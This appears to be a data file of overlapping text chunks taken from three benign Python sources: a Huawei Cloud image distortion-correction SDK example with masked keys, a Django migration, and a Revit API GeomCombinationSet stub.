result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-2.png') else: print(result)", "moderation distortion correct.post data by ak,sk # app_key = '*************'", "# # access moderation distortion correct.post data by ak,sk #", "url correction is true means do not correction result =", "= distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj = json.loads(result) if", "distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj = json.loads(result) if result_obj['result']['data']", "if __name__ == '__main__': # # access moderation distortion correct.post", "#call interface use the url correction is true means do", "correction is true means do not correction result = distortion_correct_aksk(app_key,", "data by ak,sk # app_key = '*************' app_secret = '************'", "app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj = json.loads(result) if result_obj['result']['data'] !=", "correction result = distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url, True) result_obj =", "from ais_sdk.distortion_correct import distortion_correct_aksk from ais_sdk.utils import init_global_env import json", "correct.post data by ak,sk # app_key = '*************' app_secret =", "ais_sdk.distortion_correct import distortion_correct_aksk from ais_sdk.utils import init_global_env import json if", "import json if __name__ == '__main__': # # access moderation", "'__main__': # # access moderation distortion correct.post data by ak,sk", "ais_sdk.utils import init_global_env import json if __name__ == '__main__': #", "-*- from ais_sdk.utils import encode_to_base64 from ais_sdk.utils import decode_to_wave_file from", "init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use the url correction", "file result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj =", "if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result) # call", "json if __name__ == '__main__': # # access moderation distortion", "# call interface use the file result = distortion_correct_aksk(app_key, app_secret,", "'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use the url correction is true means", "use the url correction is true means do not correction" ]
[ "from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies", "Generated by Django 2.2.6 on 2019-10-25 16:24 from django.db import", "Django 2.2.6 on 2019-10-25 16:24 from django.db import migrations, models", "django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('exercise', '0015_exerciseemailproperties_date_received'), ] operations", "dependencies = [ ('exercise', '0015_exerciseemailproperties_date_received'), ] operations = [ migrations.AlterField(", "class Migration(migrations.Migration): dependencies = [ ('exercise', '0015_exerciseemailproperties_date_received'), ] operations =", "by Django 2.2.6 on 2019-10-25 16:24 from django.db import migrations,", "[ ('exercise', '0015_exerciseemailproperties_date_received'), ] operations = [ migrations.AlterField( model_name='exercise', name='copied_from',", "16:24 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration):", "# Generated by Django 2.2.6 on 2019-10-25 16:24 from django.db", "2019-10-25 16:24 from django.db import migrations, models import django.db.models.deletion class", "[ migrations.AlterField( model_name='exercise', name='copied_from', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='exercise.Exercise'), ), ]", "] operations = [ migrations.AlterField( model_name='exercise', name='copied_from', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING,", "2.2.6 on 2019-10-25 16:24 from django.db import migrations, models import", "'0015_exerciseemailproperties_date_received'), ] operations = [ migrations.AlterField( model_name='exercise', name='copied_from', field=models.ForeignKey(blank=True, null=True,", "operations = [ migrations.AlterField( model_name='exercise', name='copied_from', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='exercise.Exercise'),", "models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('exercise', '0015_exerciseemailproperties_date_received'),", "django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies =", "import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [", "= [ migrations.AlterField( model_name='exercise', name='copied_from', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='exercise.Exercise'), ),", "('exercise', '0015_exerciseemailproperties_date_received'), ] operations = [ migrations.AlterField( model_name='exercise', name='copied_from', field=models.ForeignKey(blank=True,", "on 2019-10-25 16:24 from django.db import migrations, models import django.db.models.deletion", "import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('exercise', '0015_exerciseemailproperties_date_received'), ]", "migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('exercise',", "Migration(migrations.Migration): dependencies = [ ('exercise', '0015_exerciseemailproperties_date_received'), ] operations = [", "<filename>exercise/migrations/0016_auto_20191025_1624.py # Generated by Django 2.2.6 on 2019-10-25 16:24 from", "= [ ('exercise', '0015_exerciseemailproperties_date_received'), ] operations = [ migrations.AlterField( model_name='exercise'," ]
[ "None) \"\"\"Test to see if the set is empty. Get:", "Insert the specified element into the set. item: The GeomCombination", "a specified GeomCombination from the set. item: The GeomCombination to", "GeomCombinationSet) -> IEnumerator Retrieve a forward moving iterator to the", "-> IEnumerator Retrieve a forward moving iterator to the set.", "def Clear(self): \"\"\" Clear(self: GeomCombinationSet) Removes every item GeomCombination the", "GeomCombinationSet,item: GeomCombination) -> bool Insert the specified element into the", "\"\"\" GetEnumerator(self: GeomCombinationSet) -> IEnumerator Retrieve a forward moving iterator", "\"\"\" Contains(self: GeomCombinationSet,item: GeomCombination) -> bool Tests for the existence", "bool \"\"\" Size = property(lambda self: object(), lambda self, v:", "x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature \"\"\"", "set. \"\"\" pass def ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self: APIObject) \"\"\"", "set. \"\"\" pass def GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet) -> IEnumerator", "GeomCombination) -> int Removes a specified GeomCombination from the set.", "objects. GeomCombinationSet() \"\"\" def Clear(self): \"\"\" Clear(self: GeomCombinationSet) Removes every", "\"\"\" Clear(self: GeomCombinationSet) Removes every item GeomCombination the set,rendering it", "the set. \"\"\" pass def ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self: APIObject)", "GeomCombination objects. GeomCombinationSet() \"\"\" def Clear(self): \"\"\" Clear(self: GeomCombinationSet) Removes", "item): \"\"\" Erase(self: GeomCombinationSet,item: GeomCombination) -> int Removes a specified", "GeomCombinationSet,item: GeomCombination) -> int Removes a specified GeomCombination from the", "inserted into the set. \"\"\" pass def ReleaseManagedResources(self, *args): \"\"\"", "initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__", "-> object \"\"\" pass IsEmpty = property(lambda self: object(), lambda", "every item GeomCombination the set,rendering it empty. \"\"\" pass def", "specified element into the set. item: The GeomCombination to be", "element to be searched for. Returns: The Contains method returns", "pass def __enter__(self, *args): \"\"\" __enter__(self: IDisposable) -> object \"\"\"", "see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature", "lambda self, v: None, lambda self: None) \"\"\"Test to see", "the set. \"\"\" pass def GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet) ->", "ReleaseManagedResources(self: APIObject) \"\"\" pass def ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet)", "for signature \"\"\" pass def __iter__(self, *args): \"\"\" __iter__(self: IEnumerable)", "pass def __iter__(self, *args): \"\"\" __iter__(self: IEnumerable) -> object \"\"\"", "GeomCombination is within the set, otherwise False. \"\"\" pass def", "iterator to the set. Returns: Returns a backward moving iterator", "if the GeomCombination is within the set, otherwise False. \"\"\"", "pass def ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self: APIObject) \"\"\" pass def", "Tests for the existence of an GeomCombination within the set.", "into the set. \"\"\" pass def ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self:", "to the set. Returns: Returns a forward moving iterator to", "\"\"\" pass def __enter__(self, *args): \"\"\" __enter__(self: IDisposable) -> object", "\"\"\"Returns the number of GeomCombinations that are in the set.", "\"\"\" pass def __init__(self, *args): \"\"\" x.__init__(...) initializes x; see", "x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see", "\"\"\" pass def Insert(self, item): \"\"\" Insert(self: GeomCombinationSet,item: GeomCombination) ->", "set. Returns: Returns a forward moving iterator to the set.", "moving iterator to the set. \"\"\" pass def GetEnumerator(self): \"\"\"", "x.__class__.__doc__ for signature \"\"\" pass def __iter__(self, *args): \"\"\" __iter__(self:", "for. Returns: The Contains method returns True if the GeomCombination", "ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a forward moving iterator to", "see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...)", "GeomCombination from the set. item: The GeomCombination to be erased.", "Get: IsEmpty(self: GeomCombinationSet) -> bool \"\"\" Size = property(lambda self:", "\"\"\" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) \"\"\" pass def __init__(self,", "-> bool \"\"\" Size = property(lambda self: object(), lambda self,", "-> GeomCombinationSetIterator Retrieve a backward moving iterator to the set.", "ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a backward moving", "Returns a forward moving iterator to the set. \"\"\" pass", "self, v: None, lambda self: None) \"\"\"Test to see if", "the set. item: The GeomCombination to be inserted into the", "\"\"\" Dispose(self: GeomCombinationSet,A_0: bool) \"\"\" pass def Erase(self, item): \"\"\"", "the set. item: The GeomCombination to be erased. Returns: The", "to the set. \"\"\" pass def Insert(self, item): \"\"\" Insert(self:", "GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet) -> IEnumerator Retrieve a forward moving", "see x.__class__.__doc__ for signature \"\"\" pass def __iter__(self, *args): \"\"\"", "-> object \"\"\" pass def __exit__(self, *args): \"\"\" __exit__(self: IDisposable,exc_type:", "\"\"\" pass def Erase(self, item): \"\"\" Erase(self: GeomCombinationSet,item: GeomCombination) ->", "that contains GeomCombination objects. GeomCombinationSet() \"\"\" def Clear(self): \"\"\" Clear(self:", "the set. Returns: Returns a backward moving iterator to the", "Erase(self, item): \"\"\" Erase(self: GeomCombinationSet,item: GeomCombination) -> int Removes a", "an GeomCombination within the set. item: The element to be", "__iter__(self: IEnumerable) -> object \"\"\" pass IsEmpty = property(lambda self:", "to the set. \"\"\" pass def __enter__(self, *args): \"\"\" __enter__(self:", "the GeomCombination is within the set, otherwise False. \"\"\" pass", "lambda self, v: None, lambda self: None) \"\"\"Returns the number", "set. item: The GeomCombination to be erased. Returns: The number", "object \"\"\" pass def __exit__(self, *args): \"\"\" __exit__(self: IDisposable,exc_type: object,exc_value:", "the set, otherwise False. \"\"\" pass def Dispose(self): \"\"\" Dispose(self:", "pass def ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a", "Removes a specified GeomCombination from the set. item: The GeomCombination", "def Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0: bool) \"\"\" pass def Erase(self,", "GeomCombinationSet() \"\"\" def Clear(self): \"\"\" Clear(self: GeomCombinationSet) Removes every item", "a forward moving iterator to the set. \"\"\" pass def", "False. \"\"\" pass def Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0: bool) \"\"\"", "*args): \"\"\" __enter__(self: IDisposable) -> object \"\"\" pass def __exit__(self,", "pass def __init__(self, *args): \"\"\" x.__init__(...) initializes x; see x.__class__.__doc__", "if the set is empty. Get: IsEmpty(self: GeomCombinationSet) -> bool", "GeomCombinationSetIterator Retrieve a backward moving iterator to the set. Returns:", "pass def GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet) -> IEnumerator Retrieve a", "a backward moving iterator to the set. \"\"\" pass def", "set. item: The GeomCombination to be inserted into the set.", "from the set. item: The GeomCombination to be erased. Returns:", "set is empty. Get: IsEmpty(self: GeomCombinationSet) -> bool \"\"\" Size", "are in the set. Get: Size(self: GeomCombinationSet) -> int \"\"\"", "GeomCombination the set,rendering it empty. \"\"\" pass def Contains(self, item):", "Dispose(self: GeomCombinationSet,A_0: bool) \"\"\" pass def Erase(self, item): \"\"\" Erase(self:", "item): \"\"\" Contains(self: GeomCombinationSet,item: GeomCombination) -> bool Tests for the", "def Insert(self, item): \"\"\" Insert(self: GeomCombinationSet,item: GeomCombination) -> bool Insert", "= property(lambda self: object(), lambda self, v: None, lambda self:", "iterator to the set. \"\"\" pass def Insert(self, item): \"\"\"", "The GeomCombination to be inserted into the set. Returns: Returns", "GetEnumerator(self: GeomCombinationSet) -> IEnumerator Retrieve a forward moving iterator to", "\"\"\" pass def __iter__(self, *args): \"\"\" __iter__(self: IEnumerable) -> object", "pass def __exit__(self, *args): \"\"\" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object)", "to be searched for. Returns: The Contains method returns True", "Returns: Returns a backward moving iterator to the set. \"\"\"", "Erase(self: GeomCombinationSet,item: GeomCombination) -> int Removes a specified GeomCombination from", "pass def Contains(self, item): \"\"\" Contains(self: GeomCombinationSet,item: GeomCombination) -> bool", "set. Returns: Returns a backward moving iterator to the set.", "True if the GeomCombination is within the set, otherwise False.", "*args): \"\"\" __iter__(self: IEnumerable) -> object \"\"\" pass IsEmpty =", "-> int Removes a specified GeomCombination from the set. item:", "\"\"\" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x;", "v: None, lambda self: None) \"\"\"Test to see if the", "GeomCombinations that are in the set. Get: Size(self: GeomCombinationSet) ->", "erased from the set. \"\"\" pass def ForwardIterator(self): \"\"\" ForwardIterator(self:", "iterator to the set. \"\"\" pass def __enter__(self, *args): \"\"\"", "is empty. Get: IsEmpty(self: GeomCombinationSet) -> bool \"\"\" Size =", "Retrieve a forward moving iterator to the set. Returns: Returns", "the specified element into the set. item: The GeomCombination to", "*args): \"\"\" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) \"\"\" pass def", "\"\"\" __enter__(self: IDisposable) -> object \"\"\" pass def __exit__(self, *args):", "element into the set. item: The GeomCombination to be inserted", "self: None) \"\"\"Test to see if the set is empty.", "is within the set, otherwise False. \"\"\" pass def Dispose(self):", "number of GeomCombinations that are in the set. Get: Size(self:", "backward moving iterator to the set. \"\"\" pass def __enter__(self,", "moving iterator to the set. Returns: Returns a backward moving", "APIObject) \"\"\" pass def ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\"", "-> GeomCombinationSetIterator Retrieve a forward moving iterator to the set.", "lambda self: None) \"\"\"Returns the number of GeomCombinations that are", "def ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a backward", "object,exc_value: object,exc_back: object) \"\"\" pass def __init__(self, *args): \"\"\" x.__init__(...)", "None) \"\"\"Returns the number of GeomCombinations that are in the", "of an GeomCombination within the set. item: The element to", "erased. Returns: The number of GeomCombinations that were erased from", "signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see", "Returns: The number of GeomCombinations that were erased from the", "moving iterator to the set. \"\"\" pass def Insert(self, item):", "Contains(self, item): \"\"\" Contains(self: GeomCombinationSet,item: GeomCombination) -> bool Tests for", "IEnumerator Retrieve a forward moving iterator to the set. Returns:", "the set is empty. Get: IsEmpty(self: GeomCombinationSet) -> bool \"\"\"", "set,rendering it empty. \"\"\" pass def Contains(self, item): \"\"\" Contains(self:", "Contains(self: GeomCombinationSet,item: GeomCombination) -> bool Tests for the existence of", "int Removes a specified GeomCombination from the set. item: The", "forward moving iterator to the set. \"\"\" pass def Insert(self,", "set. Returns: Returns whether the GeomCombination was inserted into the", "see if the set is empty. Get: IsEmpty(self: GeomCombinationSet) ->", "Clear(self: GeomCombinationSet) Removes every item GeomCombination the set,rendering it empty.", "that are in the set. Get: Size(self: GeomCombinationSet) -> int", "item GeomCombination the set,rendering it empty. \"\"\" pass def Contains(self,", "existence of an GeomCombination within the set. item: The element", "set that contains GeomCombination objects. GeomCombinationSet() \"\"\" def Clear(self): \"\"\"", "self: object(), lambda self, v: None, lambda self: None) \"\"\"Test", "def Contains(self, item): \"\"\" Contains(self: GeomCombinationSet,item: GeomCombination) -> bool Tests", "signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature \"\"\" pass def", "moving iterator to the set. Returns: Returns a forward moving", "Insert(self, item): \"\"\" Insert(self: GeomCombinationSet,item: GeomCombination) -> bool Insert the", "A set that contains GeomCombination objects. GeomCombinationSet() \"\"\" def Clear(self):", "Returns a backward moving iterator to the set. \"\"\" pass", "__init__(self, *args): \"\"\" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...)", "whether the GeomCombination was inserted into the set. \"\"\" pass", "Insert(self: GeomCombinationSet,item: GeomCombination) -> bool Insert the specified element into", "def ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass def ReverseIterator(self):", "object(), lambda self, v: None, lambda self: None) \"\"\"Returns the", "def __exit__(self, *args): \"\"\" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) \"\"\"", "__enter__(self, *args): \"\"\" __enter__(self: IDisposable) -> object \"\"\" pass def", "GeomCombination) -> bool Tests for the existence of an GeomCombination", "Returns: Returns a forward moving iterator to the set. \"\"\"", "pass def Insert(self, item): \"\"\" Insert(self: GeomCombinationSet,item: GeomCombination) -> bool", "\"\"\" ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a backward moving iterator", "GeomCombinationSetIterator Retrieve a forward moving iterator to the set. Returns:", "The number of GeomCombinations that were erased from the set.", "iterator to the set. \"\"\" pass def GetEnumerator(self): \"\"\" GetEnumerator(self:", "def __iter__(self, *args): \"\"\" __iter__(self: IEnumerable) -> object \"\"\" pass", "a forward moving iterator to the set. Returns: Returns a", "\"\"\" pass def __exit__(self, *args): \"\"\" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back:", "GeomCombination within the set. item: The element to be searched", "IsEmpty = property(lambda self: object(), lambda self, v: None, lambda", "\"\"\" Insert(self: GeomCombinationSet,item: GeomCombination) -> bool Insert the specified element", "object(), lambda self, v: None, lambda self: None) \"\"\"Test to", "to be erased. Returns: The number of GeomCombinations that were", "returns True if the GeomCombination is within the set, otherwise", "GeomCombinationSet) Removes every item GeomCombination the set,rendering it empty. \"\"\"", "x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes", "the number of GeomCombinations that are in the set. Get:", "self: object(), lambda self, v: None, lambda self: None) \"\"\"Returns", "ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass def ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet) ->", "be erased. Returns: The number of GeomCombinations that were erased", "\"\"\" A set that contains GeomCombination objects. GeomCombinationSet() \"\"\" def", "\"\"\" pass def ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self: APIObject) \"\"\" pass", "def __enter__(self, *args): \"\"\" __enter__(self: IDisposable) -> object \"\"\" pass", "set. \"\"\" pass def ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator", "object,exc_back: object) \"\"\" pass def __init__(self, *args): \"\"\" x.__init__(...) initializes", "IDisposable) -> object \"\"\" pass def __exit__(self, *args): \"\"\" __exit__(self:", "The element to be searched for. Returns: The Contains method", "GeomCombinations that were erased from the set. \"\"\" pass def", "contains GeomCombination objects. GeomCombinationSet() \"\"\" def Clear(self): \"\"\" Clear(self: GeomCombinationSet)", "\"\"\" def Clear(self): \"\"\" Clear(self: GeomCombinationSet) Removes every item GeomCombination", "that were erased from the set. \"\"\" pass def ForwardIterator(self):", "searched for. Returns: The Contains method returns True if the", "for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature \"\"\" pass", "the set. item: The element to be searched for. Returns:", "to see if the set is empty. Get: IsEmpty(self: GeomCombinationSet)", "__iter__(self, *args): \"\"\" __iter__(self: IEnumerable) -> object \"\"\" pass IsEmpty", "__enter__(self: IDisposable) -> object \"\"\" pass def __exit__(self, *args): \"\"\"", "x; see x.__class__.__doc__ for signature \"\"\" pass def __iter__(self, *args):", "IEnumerable): \"\"\" A set that contains GeomCombination objects. GeomCombinationSet() \"\"\"", "for the existence of an GeomCombination within the set. item:", "\"\"\" pass def ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve", "def GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet) -> IEnumerator Retrieve a forward", "backward moving iterator to the set. Returns: Returns a backward", "*args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass def ReverseIterator(self): \"\"\" ReverseIterator(self:", "IDisposable, IEnumerable): \"\"\" A set that contains GeomCombination objects. GeomCombinationSet()", "ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass def ReverseIterator(self): \"\"\"", "into the set. item: The GeomCombination to be inserted into", "forward moving iterator to the set. Returns: Returns a forward", "GeomCombination was inserted into the set. \"\"\" pass def ReleaseManagedResources(self,", "def ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a forward", "-> bool Tests for the existence of an GeomCombination within", "GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a forward moving iterator to the", "GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a backward moving iterator to the", "to the set. \"\"\" pass def GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet)", "GeomCombinationSet,item: GeomCombination) -> bool Tests for the existence of an", "property(lambda self: object(), lambda self, v: None, lambda self: None)", "empty. Get: IsEmpty(self: GeomCombinationSet) -> bool \"\"\" Size = property(lambda", "GeomCombination to be inserted into the set. Returns: Returns whether", "*args): \"\"\" ReleaseManagedResources(self: APIObject) \"\"\" pass def ReleaseUnmanagedResources(self, *args): \"\"\"", "object) \"\"\" pass def __init__(self, *args): \"\"\" x.__init__(...) initializes x;", "method returns True if the GeomCombination is within the set,", "pass IsEmpty = property(lambda self: object(), lambda self, v: None,", "IsEmpty(self: GeomCombinationSet) -> bool \"\"\" Size = property(lambda self: object(),", "-> bool Insert the specified element into the set. item:", "within the set. item: The element to be searched for.", "\"\"\" pass def Contains(self, item): \"\"\" Contains(self: GeomCombinationSet,item: GeomCombination) ->", "Returns: The Contains method returns True if the GeomCombination is", "Returns whether the GeomCombination was inserted into the set. \"\"\"", "Contains method returns True if the GeomCombination is within the", "\"\"\" ReleaseManagedResources(self: APIObject) \"\"\" pass def ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self:", "initializes x; see x.__class__.__doc__ for signature \"\"\" pass def __iter__(self,", "__exit__(self, *args): \"\"\" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) \"\"\" pass", "set, otherwise False. \"\"\" pass def Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0:", "GeomCombinationSet) \"\"\" pass def ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator", "\"\"\" pass def ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass", "GeomCombinationSet) -> bool \"\"\" Size = property(lambda self: object(), lambda", "IEnumerable) -> object \"\"\" pass IsEmpty = property(lambda self: object(),", "ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a backward moving iterator to", "ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a forward moving", "pass def ReleaseUnmanagedResources(self, *args): \"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass def", "\"\"\" Erase(self: GeomCombinationSet,item: GeomCombination) -> int Removes a specified GeomCombination", "__exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) \"\"\" pass def __init__(self, *args):", "otherwise False. \"\"\" pass def Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0: bool)", "lambda self: None) \"\"\"Test to see if the set is", "within the set, otherwise False. \"\"\" pass def Dispose(self): \"\"\"", "item: The GeomCombination to be erased. Returns: The number of", "\"\"\" pass def GetEnumerator(self): \"\"\" GetEnumerator(self: GeomCombinationSet) -> IEnumerator Retrieve", "from the set. \"\"\" pass def ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet)", "*args): \"\"\" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes", "be inserted into the set. Returns: Returns whether the GeomCombination", "\"\"\" pass def Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0: bool) \"\"\" pass", "to the set. Returns: Returns a backward moving iterator to", "\"\"\"Test to see if the set is empty. Get: IsEmpty(self:", "bool Insert the specified element into the set. item: The", "GeomCombinationSet,A_0: bool) \"\"\" pass def Erase(self, item): \"\"\" Erase(self: GeomCombinationSet,item:", "\"\"\" ReleaseUnmanagedResources(self: GeomCombinationSet) \"\"\" pass def ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet)", "for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x;", "GeomCombination) -> bool Insert the specified element into the set.", "pass def ReverseIterator(self): \"\"\" ReverseIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a", "set. \"\"\" pass def __enter__(self, *args): \"\"\" __enter__(self: IDisposable) ->", "\"\"\" pass def ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve", "was inserted into the set. \"\"\" pass def ReleaseManagedResources(self, *args):", "specified GeomCombination from the set. item: The GeomCombination to be", "of GeomCombinations that were erased from the set. \"\"\" pass", "bool Tests for the existence of an GeomCombination within the", "def Erase(self, item): \"\"\" Erase(self: GeomCombinationSet,item: GeomCombination) -> int Removes", "\"\"\" pass IsEmpty = property(lambda self: object(), lambda self, v:", "the existence of an GeomCombination within the set. item: The", "Size = property(lambda self: object(), lambda self, v: None, lambda", "the set. Returns: Returns a forward moving iterator to the", "into the set. Returns: Returns whether the GeomCombination was inserted", "def __init__(self, *args): \"\"\" x.__init__(...) initializes x; see x.__class__.__doc__ for", "the set. Returns: Returns whether the GeomCombination was inserted into", "the GeomCombination was inserted into the set. \"\"\" pass def", "item: The GeomCombination to be inserted into the set. Returns:", "forward moving iterator to the set. \"\"\" pass def GetEnumerator(self):", "self, v: None, lambda self: None) \"\"\"Returns the number of", "be searched for. Returns: The Contains method returns True if", "item): \"\"\" Insert(self: GeomCombinationSet,item: GeomCombination) -> bool Insert the specified", "The GeomCombination to be erased. Returns: The number of GeomCombinations", "Clear(self): \"\"\" Clear(self: GeomCombinationSet) Removes every item GeomCombination the set,rendering", "object \"\"\" pass IsEmpty = property(lambda self: object(), lambda self,", "bool) \"\"\" pass def Erase(self, item): \"\"\" Erase(self: GeomCombinationSet,item: GeomCombination)", "to be inserted into the set. Returns: Returns whether the", "item: The element to be searched for. Returns: The Contains", "empty. \"\"\" pass def Contains(self, item): \"\"\" Contains(self: GeomCombinationSet,item: GeomCombination)", "class GeomCombinationSet(APIObject, IDisposable, IEnumerable): \"\"\" A set that contains GeomCombination", "Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0: bool) \"\"\" pass def Erase(self, item):", "pass def Erase(self, item): \"\"\" Erase(self: GeomCombinationSet,item: GeomCombination) -> int", "ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self: APIObject) \"\"\" pass def ReleaseUnmanagedResources(self, *args):", "\"\"\" __iter__(self: IEnumerable) -> object \"\"\" pass IsEmpty = property(lambda", "pass def Dispose(self): \"\"\" Dispose(self: GeomCombinationSet,A_0: bool) \"\"\" pass def", "the set. \"\"\" pass def ForwardIterator(self): \"\"\" ForwardIterator(self: GeomCombinationSet) ->", "of GeomCombinations that are in the set. Get: Size(self: GeomCombinationSet)", "GeomCombinationSet(APIObject, IDisposable, IEnumerable): \"\"\" A set that contains GeomCombination objects.", "Returns: Returns whether the GeomCombination was inserted into the set.", "the set,rendering it empty. \"\"\" pass def Contains(self, item): \"\"\"", "a backward moving iterator to the set. Returns: Returns a", "inserted into the set. Returns: Returns whether the GeomCombination was", "Removes every item GeomCombination the set,rendering it empty. \"\"\" pass", "\"\"\" Size = property(lambda self: object(), lambda self, v: None,", "GeomCombination to be erased. Returns: The number of GeomCombinations that", "moving iterator to the set. \"\"\" pass def __enter__(self, *args):", "None, lambda self: None) \"\"\"Returns the number of GeomCombinations that", "set. \"\"\" pass def Insert(self, item): \"\"\" Insert(self: GeomCombinationSet,item: GeomCombination)", "set. item: The element to be searched for. Returns: The", "number of GeomCombinations that were erased from the set. \"\"\"", "None, lambda self: None) \"\"\"Test to see if the set", "\"\"\" ForwardIterator(self: GeomCombinationSet) -> GeomCombinationSetIterator Retrieve a forward moving iterator", "self: None) \"\"\"Returns the number of GeomCombinations that are in", "Retrieve a backward moving iterator to the set. Returns: Returns", "the set. \"\"\" pass def Insert(self, item): \"\"\" Insert(self: GeomCombinationSet,item:", "def ReleaseManagedResources(self, *args): \"\"\" ReleaseManagedResources(self: APIObject) \"\"\" pass def ReleaseUnmanagedResources(self,", "v: None, lambda self: None) \"\"\"Returns the number of GeomCombinations", "iterator to the set. Returns: Returns a forward moving iterator", "were erased from the set. \"\"\" pass def ForwardIterator(self): \"\"\"", "it empty. \"\"\" pass def Contains(self, item): \"\"\" Contains(self: 